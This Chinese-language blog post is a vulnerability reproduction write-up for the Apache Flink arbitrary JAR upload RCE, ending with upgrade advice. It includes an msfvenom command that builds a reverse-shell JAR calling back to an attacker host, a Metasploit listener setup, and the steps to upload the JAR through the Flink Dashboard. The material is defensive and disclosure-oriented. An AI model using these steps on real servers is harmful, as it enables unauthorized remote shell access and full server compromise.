目录

Apache Flink 任意 Jar 包上传导致 RCE 漏洞

Apache Flink 任意 Jar 包上传导致 RCE 漏洞

Apache Flink 是一个分布式大数据处理引擎,可对有限数据流和无限数据流进行有状态计算。可部署在各种集群环境,对各种大小的数据规模进行快速计算。

ApacheFlink 是由 Apache 软件基金会开发的开源流处理框架,其核心是用 Java 和 Scala 编写的分布式流数据流引擎。Flink 以数据并行和流水线方式执行任意流数据程序,Flink 的流水线运行时系统可以执行批处理和流处理程序。此外,Flink 的运行时本身也支持迭代算法的执行。

攻击者可利用该漏洞在 Apache Flink Dashboard 页面中上传任意 Jar 包,利用 Metasploit 在Apache Flink 服务器中执行任意代码,获取服务器最高权限,所以危害性较大。

影响范围

  • Apache Flink <= 1.9.1

环境搭建

  1. 下载 Apache Flink 1.9.1 包:
1
wget http://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
  1. 解压安装包:
1
tar –zxvf flink-1.9.1-bin-scala_2.11.tgz
  1. 进入到 bin 目录下面启动 Flink:
1
./start-cluster.sh

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191120100828.png-water_print

浏览器访问:http://IP:8081

漏洞复现

  1. msf 生成 reverse shell 的马
1
msfvenom -p java/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f jar > shell.jar
  1. msf 设置监听
1
2
3
use exploit/multi/handler
set payload java/shell/reverse_tcp
expolit

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191120101314.png-water_print

  1. 上传 shell.jar 并提交

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191120101314.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191120101609.png-water_print

  1. 反弹回的 shell

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191120101816.png-water_print

修复建议

  • 将 Apache Flink 升级最新版本